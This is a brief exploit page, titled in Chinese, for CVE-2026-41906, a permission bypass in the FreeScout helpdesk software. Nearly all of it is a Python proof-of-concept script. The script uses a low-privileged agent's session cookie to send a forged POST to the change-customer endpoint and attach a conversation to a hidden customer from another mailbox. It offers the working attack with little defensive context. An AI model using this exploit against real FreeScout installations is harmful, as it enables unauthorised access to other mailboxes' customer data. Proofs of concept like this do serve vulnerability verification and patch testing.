CVE-2026-41906 FreeScout权限绕过漏洞

import requests # Target URL of the vulnerable FreeScout instance target_url = "https://example.com/conversations/change-customer" # Session cookie of a low-privileged agent attacker_cookies = { "freescout_session": "valid_low_privileged_session_cookie_here" } # The conversation ID that the agent has access to conversation_id = 1001 # The email of a hidden customer from another mailbox # This data is normally hidden by the frontend filter hidden_customer_email = "[email protected]" # Craft the malicious payload payload = { "conversation_id": conversation_id, "customer_email": hidden_customer_email, # Other required parameters if any } try: # Send the forged POST request response = requests.post(target_url, cookies=attacker_cookies, data=payload) if response.status_code == 200: print("[+] PoC successful: Conversation has been bound to the hidden customer.") else: print(f"[-] PoC failed. Server returned status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error occurred: {e}")